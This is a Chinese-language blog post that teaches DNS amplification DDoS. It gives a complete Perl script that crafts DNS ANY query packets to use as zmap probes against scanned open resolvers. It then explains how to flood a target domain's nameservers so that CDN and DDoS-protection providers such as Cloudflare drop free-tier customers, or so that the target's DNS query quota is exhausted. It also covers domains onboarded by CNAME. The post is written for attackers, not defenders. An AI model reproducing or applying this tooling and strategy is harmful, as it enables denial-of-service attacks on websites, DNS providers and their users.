制作的dns探针和ddos加成
之前介绍了我最常用的zmap命令,其中2个命令用来扫描全球的dns列表,但上一篇文章中使用的探针为zmap提供的google.it的dns探针,这篇文章我将介绍如果修改它,以及这样做会有何加成.
先介绍如何制作探针
apt-get install perl cpan #ubuntu/debian
yum install perl cpan #rhel
cpan install Net::DNS
如果上面的perl的扩展安装失败请编译安装扩展
wget http://search.cpan.org/CPAN/authors/id/N/NL/NLNETLABS/Net-DNS-0.76.tar.gz
tar -xvf Net-DNS-0.76.tar.gz
cd Net-DNS-0.76
perl Makefile.pl
make
make install
cd ../
rm -rf Net-DNS-0.76*
然后将以下代码保存成buildpacket.pl(名字其实无所谓)
use Net::DNS;
if ( $#ARGV != 0 ) {
print "Usage: perl buildpacket.pl <domain>\n";
print " Example: perl buildpacket.pl 1x1.cz\n";
print " Coded by Vypor, https://github.com/Vypor\n";
exit(1);
}
my $domain = $ARGV[0];
my $dnspacket = new Net::DNS::Packet( $domain, 'IN', 'ANY' );
$dnspacket->header->qr(0); #Query Responce Flag
$dnspacket->header->aa(0); #Authoritative Flag
$dnspacket->header->tc(0); #Truncated Flag
$dnspacket->header->ra(0); #Recursion Desired
$dnspacket->header->rd(1); #Recursion Available
$udp_max = $dnspacket->header->size(65527); #Max Allowed Byte Size
my $dnsdata = $dnspacket->data;
open (FILE, ">>$domain.pkt");
print FILE $dnsdata;
close FILE;
然后这样使用perl buildpacket.pl baidu.com
这样在pl文件目录会生成一个对应的探针,用zmap拿它扫去吧.
然后再说说这样的加成
正常的放大是A->B->C这种放大,但是dns放大比较特殊,他多出了一步,如果dns服务器没有此域名的记录会再向上级dns服务器查询,这个请求最终会递交给域名的ns服务器,这样做会增加一次攻击的完成时间减少攻击的威力,但其实它有一个隐藏的加成,像360,云盾,cloudflare等都推荐使用接入它们自己的ns,但是如果域名的ns查询量或者流量很大则会被清退,如果你的域名正在使用cdn或者ddos防护,并且这个域名使用的是免费套餐,那么这个加成对你们目标是有效的,通过上面制作目标域名的探针,使用扫描后的列表进行攻击,会对域名ns服务器产生很大的查询量,时间长了目标就会被cdn或者ddos防护清退.
另外不止是cdn或者ddos防护会清退巨大查询量的用户,很多免费甚至收费的dns服务商业会这样做,因为一个巨大查询量的域名会严重影响他们的业务,有的人可能会想,限制每秒查询不就可以了吗,我的回答是,yes,但是限制了查询之后使用目标作为dns反射域名耗光目标的查询量造成用户不能正常解析也达到了我们的目标.
如果域名使用cname接入怎么办
先查询域名的cname得到cdn或者ddos防护提供商提供的域名,然后查找是哪家提供商,自己去注册个账户添加几个域名看看得到的cname是否是独立的,如果是独立的,上面的目标域名换成cname得到的域名效果一样,如果不是独立的话应该无解.
上面就是全部的内容了,整体很乱,文采不好,希望有能看懂的人帮我整理下.